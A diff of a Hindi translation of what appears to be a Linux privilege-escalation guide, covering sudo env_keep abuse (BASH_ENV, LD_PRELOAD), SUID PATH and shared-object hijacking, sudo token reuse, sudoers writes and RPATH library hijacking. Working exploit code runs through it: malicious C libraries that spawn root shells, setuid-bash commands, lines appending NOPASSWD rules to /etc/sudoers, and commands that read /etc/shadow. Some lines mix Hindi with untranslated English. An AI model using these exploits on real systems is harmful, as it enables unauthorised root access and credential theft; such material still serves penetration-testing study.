स्क्रिप्ट को root के रूप में चलाते समय कोई भी python library लोड की जा सकती थी: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV sudo env_keep द्वारा संरक्षित → root shell +### BASH_ENV preserved via sudo env_keep → root shell -यदि sudoers `BASH_ENV` को संरक्षित करता है (उदा., `Defaults env_keep+="ENV BASH_ENV"`), तो आप Bash के non-interactive startup व्यवहार का उपयोग करके किसी अनुमत कमांड को invoke करते समय arbitrary code को root के रूप में चला सकते हैं। +यदि sudoers `BASH_ENV` को संरक्षित करता है (उदा., `Defaults env_keep+="ENV BASH_ENV"`), तो आप Bash के non-interactive startup व्यवहार का लाभ उठाकर किसी अनुमत कमांड को चलाते समय arbitrary code को root के रूप में चला सकते हैं। -- क्यों काम करता है: non-interactive shells के लिए, Bash `$BASH_ENV` का मूल्यांकन करता है और लक्ष्य स्क्रिप्ट चलाने से पहले उस फ़ाइल को source करता है। कई sudo नियम एक स्क्रिप्ट या shell wrapper चलाने की अनुमति देते हैं। यदि `BASH_ENV` sudo द्वारा संरक्षित है, तो आपकी फ़ाइल root privileges के साथ source की जाती है। +- क्यों यह काम करता है: गैर-इंटरएक्टिव शेल के लिए, Bash `$BASH_ENV` का मूल्यांकन करता है और target script चलाने से पहले उस फाइल को source करता है। कई sudo नियम एक script या shell wrapper को चलाने की अनुमति देते हैं। यदि `BASH_ENV` sudo द्वारा संरक्षित है, तो आपकी फाइल root privileges के साथ source की जाएगी। - आवश्यकताएँ: -- आपके पास चलाने योग्य sudo rule (कोई भी target जो `/bin/bash` को non-interactively invoke करता है, या कोई bash script)। -- `BASH_ENV` `env_keep` में मौजूद हो (जाँच के लिए `sudo -l`)। +- ऐसा sudo rule जिसे आप चला सकें (कोई भी target जो non-interactively `/bin/bash` को invoke करता है, या कोई भी bash script)। +- `BASH_ENV` `env_keep` में मौजूद हो (जाँच के लिए `sudo -l` चलाएँ)। - PoC: ```bash @@ -785,14 +820,13 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Hardening: -- `BASH_ENV` (और `ENV`) को `env_keep` से हटाएं, `env_reset` को प्राथमिकता दें। -- sudo-allowed commands के लिए shell wrappers से बचें; minimal binaries का उपयोग करें। -- जब preserved env vars का उपयोग हो तो sudo I/O logging और alerting पर विचार करें। +- `BASH_ENV` (और `ENV`) को `env_keep` से हटाएँ, `env_reset` को प्राथमिकता दें। +- sudo-allowed कमांड्स के लिए shell wrappers से बचें; minimal binaries का उपयोग करें। +- preserved env vars के उपयोग होने पर sudo I/O logging और alerting पर विचार करें। -### Sudo execution bypassing paths +### Sudo execution को बायपास करने वाले paths -**Jump** अन्य फाइलें पढ़ने के लिए या **symlinks** का उपयोग करें। For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** अन्य फाइलें पढ़ने के लिए या **symlinks** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -802,46 +836,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -यदि एक **wildcard** (\*) का उपयोग किया जाता है, तो यह और भी आसान है: +यदि **wildcard** का उपयोग किया जाता है (\*), तो यह और भी आसान है: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**निवारक उपाय**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**रोकथाम**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary बिना command path के +### Sudo command/SUID binary कमांड पथ के बिना -यदि **sudo permission** किसी single command को **path निर्दिष्ट किए बिना** दिया गया है: _hacker10 ALL= (root) less_ तो आप इसे PATH variable बदलकर exploit कर सकते हैं। +यदि **sudo permission** किसी एक कमांड को **पथ निर्दिष्ट किए बिना** दिया गया है: _hacker10 ALL= (root) less_ तो आप PATH variable बदलकर इसे exploit कर सकते हैं। ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -यह तकनीक तब भी उपयोग की जा सकती है यदि कोई **suid** बाइनरी **किसी अन्य कमांड को उसका पाथ निर्दिष्ट किए बिना execute करती है (हमेशा _**strings**_ से किसी अजीब SUID बाइनरी की सामग्री जांचें)**। +यह तकनीक तब भी इस्तेमाल की जा सकती है यदि एक **suid** binary किसी अन्य command को path बताए बिना execute करता है (हमेशा किसी अजीब SUID binary की सामग्री को _**strings**_ से जाँचें)। [Payload examples to execute.](payloads-to-execute.md) -### SUID बाइनरी जिसमें कमांड का पाथ निर्दिष्ट हो +### SUID binary जिसमें command path दिया गया हो -यदि **suid** बाइनरी **किसी अन्य कमांड को उसका पाथ निर्दिष्ट करके execute करती है**, तो आप उस कमांड के नाम से एक **export a function** बनाने और उसे export करने की कोशिश कर सकते हैं जो suid फ़ाइल कॉल कर रही है। +यदि **suid** binary किसी command को path के साथ execute करता है, तो आप उस command के नाम का एक function बनाकर उसे **export a function** करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है। -उदाहरण के लिए, यदि कोई suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको उस फंक्शन को बनाकर और उसे export करके कोशिश करनी चाहिए: +उदाहरण के लिए, यदि एक suid binary _**/usr/sbin/service apache2 start**_ कॉल करता है, तो आपको उस function को बनाकर export करने की कोशिश करनी होगी: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -फिर, जब आप suid binary को कॉल करेंगे, यह function निष्पादित होगा +तो, जब आप suid बाइनरी को कॉल करेंगे, यह फ़ंक्शन निष्पादित होगा ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** environment variable का उपयोग loader को यह निर्दिष्ट करने के लिए किया जाता है कि एक या अधिक shared libraries (.so files) को अन्य सभी से पहले लोड किया जाए, जिसमें standard C library (`libc.so`) भी शामिल है। इस प्रक्रिया को library को preloading कहा जाता है। +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -हालांकि, सिस्टम सुरक्षा बनाए रखने और इस फीचर के दुरुपयोग को रोकने के लिए, विशेषकर **suid/sgid** executables के साथ, सिस्टम कुछ शर्तें लागू करता है: +हालाँकि, सिस्टम सुरक्षा बनाए रखने और इस सुविधा का दुरुपयोग होने से रोकने के लिए, विशेषकर **suid/sgid** executables के साथ, सिस्टम कुछ शर्तें लागू करता है: -- उन executables के लिए जहाँ real user ID (_ruid_) और effective user ID (_euid_) मेल नहीं खाते, loader **LD_PRELOAD** को अनदेखा कर देता है। -- suid/sgid वाले executables के लिए, केवल standard paths में मौजूद और स्वयं suid/sgid वाले libraries ही preloaded होते हैं। +- लोडर उन executables के लिए **LD_PRELOAD** को अनदेखा कर देता है जहाँ real user ID (_ruid_) और effective user ID (_euid_) मेल नहीं खाते। +- **suid/sgid** वाले executables के लिए, केवल मानक पथों में स्थित और जो स्वयं suid/sgid हों ऐसी लाइब्रेरियाँ ही प्री-लोड की जाती हैं। -Privilege escalation तब हो सकती है जब आपके पास `sudo` के साथ commands execute करने की क्षमता हो और `sudo -l` के output में **env_keep+=LD_PRELOAD** शामिल हो। यह configuration **LD_PRELOAD** environment variable को बनाए रखता है और `sudo` के साथ commands चलाने पर भी उसे मान्यता देता है, जिससे संभवतः elevated privileges के साथ arbitrary code का execution हो सकता है। +Privilege escalation हो सकती है यदि आपके पास `sudo` के साथ कमांड चलाने की क्षमता है और `sudo -l` के आउटपुट में **env_keep+=LD_PRELOAD** शामिल है। यह कॉन्फ़िगरेशन **LD_PRELOAD** environment variable को बनाए रखने और `sudo` के साथ कमांड चलाने पर भी मान्यता प्राप्त करने की अनुमति देता है, जिससे संभावित रूप से मनमाना कोड उच्च अधिकारों के साथ निष्पादित हो सकता है। ``` Defaults env_keep += LD_PRELOAD ``` @@ -858,17 +892,17 @@ setuid(0); system("/bin/bash"); } ``` -फिर **compile it** का उपयोग करके: +फिर **इसे कम्पाइल करें**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -अंत में, **escalate privileges** चलाते हुए +अंत में, **escalate privileges** चलाकर ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> समान privesc का दुरुपयोग तब किया जा सकता है अगर हमलावर **LD_LIBRARY_PATH** env variable को नियंत्रित करता है, क्योंकि वह उस पथ को नियंत्रित करता है जहाँ लाइब्रेरियाँ खोजी जाएँगी। +> यदि attacker **LD_LIBRARY_PATH** env variable को नियंत्रित करता है तो उसी तरह का privesc दुरुपयोग किया जा सकता है क्योंकि वह उस path को नियंत्रित करता है जहाँ libraries खोजी जाएँगी। ```c #include #include @@ -890,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -जब किसी असामान्य दिखने वाले binary पर **SUID** permissions हों, तो यह जांचना अच्छा अभ्यास है कि वह ठीक से **.so** files लोड कर रहा है या नहीं। इसे निम्नलिखित command चलाकर जाँचा जा सकता है: +जब किसी ऐसे binary को देखा जाए जिसकी **SUID** permissions असामान्य लगती हैं, तो यह अच्छी प्रैक्टिस है यह सत्यापित करना कि यह **.so** files ठीक से लोड कर रहा है या नहीं। इसे निम्नलिखित command चलाकर चेक किया जा सकता है: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ जैसी त्रुटि मिलने पर यह exploitation की संभावना दर्शाती है। +उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ जैसी त्रुटि का सामना करना संभावित exploitation का संकेत देता है। -इसे exploit करने के लिए, एक C file बनानी होगी, जैसे _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा: +इसे exploit करने के लिए, आप एक C फ़ाइल बनाएँगे, जैसे _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा: ```c #include #include @@ -907,13 +941,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -यह code, एक बार compiled और executed होने पर, file permissions को manipulate करके और elevated privileges के साथ एक shell execute करके privileges बढ़ाने का उद्देश्य रखता है। +यह code, एक बार compiled और executed होने पर, file permissions को manipulate करके और elevated privileges के साथ एक shell execute करके privileges बढ़ाने का प्रयास करता है। -ऊपर दिए गए C file को एक shared object (.so) file में compile करें with: +ऊपर दिए गए C file को एक shared object (.so) file में compile करने के लिए: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -अंततः प्रभावित SUID binary को चलाने से exploit ट्रिगर होना चाहिए, जिससे संभावित system compromise हो सकता है। +अंत में, प्रभावित SUID binary को चलाने से exploit ट्रिगर होना चाहिए, जिससे संभावित system compromise संभव होगा। ## Shared Object Hijacking ```bash @@ -925,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -अब जब हमने एक SUID binary पाया है जो उस folder से एक library लोड कर रहा है जहाँ हम लिख सकते हैं, तो उस folder में आवश्यक नाम के साथ library बनाते हैं: +अब जब हमने एक SUID binary पाया है जो एक folder से library लोड कर रहा है जिसमें हम लिख सकते हैं, तो आइए उस folder में आवश्यक नाम के साथ library बनाते हैं: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -938,17 +972,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -यदि आपको निम्नलिखित जैसी त्रुटि मिलती है +यदि आपको इस तरह की त्रुटि मिलती है: ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -इसका मतलब है कि आपने जो लाइब्रेरी जनरेट की है उसमें `a_function_name` नाम का एक फ़ंक्शन होना चाहिए। +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) Unix binaries की एक curated सूची है जिन्हें एक attacker द्वारा local security restrictions bypass करने के लिए exploit किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहाँ आप किसी command में **केवल arguments inject** कर सकते हैं। +[**GTFOBins**](https://gtfobins.github.io) Unix binaries की एक curated सूची है जिन्हें attacker स्थानीय security restrictions को bypass करने के लिए exploit कर सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहाँ आप केवल arguments inject कर सकते हैं। -यह प्रोजेक्ट Unix binaries के वैध functions को इकट्ठा करता है जिन्हें restricted shells से बाहर निकलने, privileges escalate या बनाए रखने, फाइलें ट्रांसफ़र करने, bind और reverse shells spawn करने, और अन्य post-exploitation tasks को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। +प्रोजेक्ट Unix binaries के वैध functions को इकट्ठा करता है जिन्हें restricted shells से बाहर निकलने, privileges escalate या maintain करने, फ़ाइलें transfer करने, bind और reverse shells spawn करने, और अन्य post-exploitation tasks को आसान बनाने के लिए abuse किया जा सकता है। > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -967,50 +1001,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -अगर आप `sudo -l` तक पहुँच सकते हैं तो आप tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि यह किसी भी sudo नियम को exploit करने का तरीका ढूँढता है या नहीं। +यदि आप `sudo -l` एक्सेस कर सकते हैं तो आप टूल [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग यह देखने के लिए कर सकते हैं कि वह किसी भी sudo rule को exploit करने का तरीका ढूँढता है या नहीं। -### Sudo टोकनों का पुन: उपयोग +### Reusing Sudo Tokens -ऐसे मामलों में जहाँ आपके पास **sudo access** है लेकिन password नहीं है, आप privileges escalate कर सकते हैं **किसी sudo command के execution का इंतज़ार करके और फिर session token को hijack करके**। +ऐसे मामलों में जहाँ आपके पास **sudo access** है पर password नहीं है, आप privileges escalate कर सकते हैं **एक sudo command execution का इंतजार करके और फिर session token को hijack करके**। -privileges escalate करने की आवश्यकताएँ: +Privileges escalate करने की आवश्यकताएँ: -- आपके पास पहले से user _sampleuser_ के रूप में एक shell होना चाहिए -- _sampleuser_ ने **`sudo` का इस्तेमाल** करके पिछले **15mins** में कुछ execute किया हुआ होना चाहिए (डिफ़ॉल्ट रूप से यही sudo token की अवधि होती है जो हमें बिना password डाले `sudo` का उपयोग करने की अनुमति देती है) -- `cat /proc/sys/kernel/yama/ptrace_scope` 0 होना चाहिए -- `gdb` उपलब्ध होना चाहिए (आप इसे upload करने में सक्षम हों) +- आपके पास पहले से user "_sampleuser_" के रूप में एक shell होना चाहिए +- "_sampleuser_" ने **पिछले 15mins** में कुछ execute करने के लिए **`sudo`** का उपयोग किया हो (डिफ़ॉल्ट रूप से यही sudo token की अवधि है जो बिना password के `sudo` उपयोग करने की अनुमति देती है) +- `cat /proc/sys/kernel/yama/ptrace_scope` का मान 0 होना चाहिए +- `gdb` उपलब्ध होना चाहिए (आप इसे upload कर पाने में सक्षम होने चाहिए) -(आप अस्थायी रूप से `ptrace_scope` को सक्षम कर सकते हैं `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` कमांड से या स्थायी रूप से `/etc/sysctl.d/10-ptrace.conf` को संशोधित करके और `kernel.yama.ptrace_scope = 0` सेट करके) +(आप अस्थायी रूप से `ptrace_scope` को `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` से सक्षम कर सकते हैं या स्थायी रूप से `/etc/sysctl.d/10-ptrace.conf` को संशोधित करके और `kernel.yama.ptrace_scope = 0` सेट करके) -यदि ये सभी आवश्यकताएँ पूरी होती हैं, **आप निम्न का उपयोग करके privileges escalate कर सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +यदि ये सभी आवश्यकताएँ पूरी हों, **आप privileges escalate कर सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- पहला **exploit** (`exploit.sh`) बाइनरी `activate_sudo_token` को _/tmp_ में बनाएगा। आप इसे अपने session में **sudo token activate करने** के लिए उपयोग कर सकते हैं (आपको स्वतः root shell नहीं मिलेगा, `sudo su` करें): +- पहला **exploit** (`exploit.sh`) _/tmp_ में `activate_sudo_token` बाइनरी बनाएगा। आप इसका उपयोग अपनी session में **sudo token activate करने** के लिए कर सकते हैं (आपको अपने आप root shell नहीं मिलेगा, `sudo su` करें): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **दूसरा exploit** (`exploit_v2.sh`) _/tmp_ में एक sh shell बनाएगा जो **root के स्वामित्व वाला और setuid सेट किया हुआ** होगा +- **दूसरा exploit** (`exploit_v2.sh`) _/tmp_ में एक sh shell बनाएगा जो **root के मालिकाना हक में और setuid के साथ** होगा ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **तीसरा exploit** (`exploit_v3.sh`) **एक sudoers फ़ाइल बनाएगा** जो **sudo tokens को स्थायी बनाकर सभी उपयोगकर्ताओं को sudo उपयोग करने की अनुमति देगा** +- यह **तीसरा exploit** (`exploit_v3.sh`) **एक sudoers file बनाएगा** जो **sudo tokens को स्थायी बना देगा और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देगा** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -यदि आपके पास उस फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर **write permissions** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **create a sudo token for a user and PID** कर सकते हैं.\ -उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को ओवरराइट कर सकते हैं और उस user के रूप में PID 1234 के साथ आपकी एक shell है, तो आप बिना password जाने **obtain sudo privileges** कर सकते हैं, ऐसा करके: +यदि आपके पास उस फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर **write permissions** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **किसी user और PID के लिए sudo token बना सकते हैं**।\ +उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को overwrite कर सकते हैं और आपके पास उस user के रूप में PID 1234 के साथ एक shell है, तो आप पासवर्ड जाने बिना **sudo privileges प्राप्त** कर सकते हैं जैसा कि नीचे किया गया है: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -फ़ाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फ़ाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फ़ाइलें **by default can only be read by user root and group root**.\ -**यदि** आप इस फ़ाइल को **read** कर सकते हैं तो आप **कुछ रोचक जानकारी प्राप्त कर सकते हैं**, और यदि आप किसी भी फ़ाइल को **write** कर सकते हैं तो आप **escalate privileges** कर पाएँगे। +The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. ये फाइलें **डिफ़ॉल्ट रूप से केवल user root और group root द्वारा ही पढ़ी जा सकती हैं**.\ +**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप कुछ दिलचस्प जानकारी **प्राप्त** कर सकते हैं, और यदि आप किसी भी फाइल को **लिख** सकते हैं तो आप **escalate privileges** कर सकेंगे। ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1020,7 +1054,7 @@ ls -ld /etc/sudoers.d/ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -इन अनुमतियों का दुरुपयोग करने का एक और तरीका: +इन permissions का दुरुपयोग करने का एक और तरीका: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1029,15 +1063,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` बाइनरी के कुछ विकल्प होते हैं, जैसे OpenBSD के लिए `doas` — इसकी कॉन्फ़िगरेशन `/etc/doas.conf` में जाँच करना न भूलें। +OpenBSD के लिए `doas` जैसे `sudo` बाइनरी के कुछ विकल्प होते हैं — इसकी कॉन्फ़िगरेशन `/etc/doas.conf` में चेक करना याद रखें। ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -यदि आप जानते हैं कि एक **user आम तौर पर किसी machine से connect होता है और `sudo` का उपयोग करके privileges escalate करता है** और आपने उस user context में एक shell प्राप्त कर लिया है, तो आप **एक नया sudo executable बना सकते हैं** जो पहले आपके कोड को root के रूप में चलाएगा और फिर user का command चलाएगा। फिर, user context का **$PATH** संशोधित करें (उदाहरण के लिए नई path को .bash_profile में जोड़कर) ताकि जब user `sudo` चलाए तो आपका sudo executable ही execute हो। +यदि आप जानते हैं कि एक **user usually connects to a machine and uses `sudo`** privileges बढ़ाने के लिए और आपने उस user context में एक shell प्राप्त कर लिया है, तो आप **create a new sudo executable** बना सकते हैं जो पहले आपके कोड को root के रूप में चलाएगा और फिर user की कमांड execute करेगा। इसके बाद user context का $PATH संशोधित करें (उदाहरण के लिए नए path को .bash_profile में जोड़कर) ताकि जब user sudo चलाए तो आपका sudo executable executed हो। -ध्यान दें कि यदि user कोई अलग shell उपयोग करता है (bash नहीं) तो आपको नई path जोड़ने के लिए अन्य फ़ाइलें संशोधित करनी पड़ेंगी। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. आप एक और उदाहरण [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में पा सकते हैं। +ध्यान दें कि यदि user किसी अलग shell (bash नहीं) का उपयोग करता है तो नया path जोड़ने के लिए आपको अन्य फाइलें बदलनी पड़ेंगी। उदाहरण के लिए [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को संशोधित करता है। आप एक और उदाहरण [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में पा सकते हैं। या कुछ इस तरह चलाकर: ```bash @@ -1058,12 +1092,12 @@ sudo ls ### ld.so -फ़ाइल `/etc/ld.so.conf` यह दर्शाती है कि **लौड की गई कॉन्फ़िगरेशन फ़ाइलें कहाँ से आ रही हैं**। आम तौर पर, इस फ़ाइल में निम्न path होता है: `include /etc/ld.so.conf.d/*.conf` +The file `/etc/ld.so.conf` indicates **कि लोड किए गए कॉन्फ़िगरेशन फाइलें कहाँ से आती हैं**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` -इसका मतलब है कि `/etc/ld.so.conf.d/*.conf` से कॉन्फ़िगरेशन फ़ाइलें पढ़ी जाएँगी। ये कॉन्फ़िगरेशन फ़ाइलें उन फ़ोल्डरों की ओर इशारा करती हैं जहाँ **लाइब्रेरीज़** को **खोजा** जाएगा। उदाहरण के लिए, `/etc/ld.so.conf.d/libc.conf` की सामग्री `/usr/local/lib` है। **इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर लाइब्रेरीज़ की खोज करेगा**। +That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **अन्य फ़ोल्डरों की ओर इशारा करती हैं** जहाँ **लाइब्रेरीज़** की **खोज** की जाएगी। For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर लाइब्रेरीज़ की खोज करेगा**। -यदि किसी कारणवश किसी उपयोगकर्ता के पास संकेत किए गए किसी भी path पर **लिखने की अनुमति** हो: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` में उल्लिखित कोई भी फ़ोल्डर, तो वह privileges escalate कर सकता है.\ -निम्न पेज में देखें कि **how to exploit this misconfiguration**: +यदि किसी कारणवश **किसी उपयोगकर्ता के पास लिखने की अनुमति** ऊपर बताए गए किसी भी पथ पर हो: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` के अंदर कॉन्फ़िग फाइल द्वारा संकेतित कोई भी फ़ोल्डर, तो वह संभवतः escalate privileges कर सकता है.\ +Take a look at **how to exploit this misconfiguration** in the following page: {{#ref}} @@ -1081,7 +1115,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib को `/var/tmp/flag15/` में कॉपी करने पर प्रोग्राम इसे `RPATH` वेरिएबल में निर्दिष्ट इस स्थान पर उपयोग करेगा। +lib को `/var/tmp/flag15/` में कॉपी करने पर यह प्रोग्राम द्वारा उसी स्थान पर उपयोग किया जाएगा जैसा कि `RPATH` वेरिएबल में निर्दिष्ट है। ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1090,7 +1124,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -फिर `/var/tmp` में `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` कमांड के साथ एक दुर्भावनापूर्ण लाइब्रेरी बनाएं। +उसके बाद `/var/tmp` में `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` के साथ एक दुष्ट लाइब्रेरी बनाएँ। ```c #include #define SHELL "/bin/sh" @@ -1105,8 +1139,8 @@ execve(file,argv,0); ``` ## क्षमताएँ -Linux capabilities एक प्रक्रिया को उपलब्ध **root privileges का subset** प्रदान करती हैं। यह प्रभावी रूप से root को **छोटे और विशिष्ट यूनिट्स में विभाजित** कर देता है। इन यूनिट्स में से प्रत्येक को स्वतंत्र रूप से processes को दिया जा सकता है। इस तरह पूरे privileges का सेट कम हो जाता है, जिससे exploitation के जोखिम घटते हैं.\ -नीचे दी गई पृष्ठ को पढ़ें ताकि आप **capabilities और उन्हें कैसे abuse करना है** इस बारे में और जान सकें: +Linux capabilities एक प्रक्रिया को उपलब्ध **root अधिकारों का एक उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से root **अधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित** कर देता है। इन इकाइयों में से प्रत्येक को स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण अधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम घटते हैं।\ +निम्न पृष्ठ पढ़ें ताकि **capabilities और उन्हें कैसे दुरुपयोग किया जा सकता है** के बारे में अधिक जान सकें: {{#ref}} @@ -1115,14 +1149,14 @@ linux-capabilities.md ## डायरेक्टरी अनुमतियाँ -एक डायरेक्टरी में, **bit for "execute"** का अर्थ है कि प्रभावित user फोल्डर में "**cd**" कर सकता है.\ -**"read"** bit का अर्थ है कि user **list** कर सकता है **files**, और **"write"** bit का अर्थ है कि user **delete** और **create** नए **files** कर सकता है. +एक डायरेक्टरी में, **bit for "execute"** का मतलब है कि प्रभावित user फ़ोल्डर में "**cd**" कर सकता है।\ +**"read"** bit का मतलब है कि user **list** कर सकता है **files**, और **"write"** bit का मतलब है कि user **delete** और नए **files** **create** कर सकता है। ## ACLs -Access Control Lists (ACLs) discretionary permissions की सेकंडरी परत का प्रतिनिधित्व करते हैं, जो पारंपरिक ugo/rwx permissions को **overriding** करने में सक्षम हैं। ये permissions फाइल या डायरेक्टरी एक्सेस पर नियंत्रण बढ़ाते हैं क्योंकि वे उन specific users को अधिकार देने या अस्वीकार करने की अनुमति देते हैं जो मालिक नहीं हैं या समूह का हिस्सा नहीं हैं। इस स्तर की **granularity अधिक सटीक access management सुनिश्चित करती है**। Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) अनुमतियों की एक द्वितीयक परत का प्रतिनिधित्व करते हैं, जो पारंपरिक ugo/rwx permissions को **ओवरराइड** करने में सक्षम हैं। ये permissions file या directory access पर नियंत्रण बढ़ाते हैं, क्योंकि ये उन specific users को rights देने या न देने की अनुमति देती हैं जो owner नहीं हैं या group का हिस्सा नहीं हैं। यह स्तर की **सूक्ष्मता अधिक सटीक access management सुनिश्चित करती है**। आगे के विवरण [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) मिल सकते हैं। -**Give** user "kali" को किसी फ़ाइल पर **read** और **write** permissions दें: +**Give** user "kali" को किसी file पर read और write permissions दें: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the 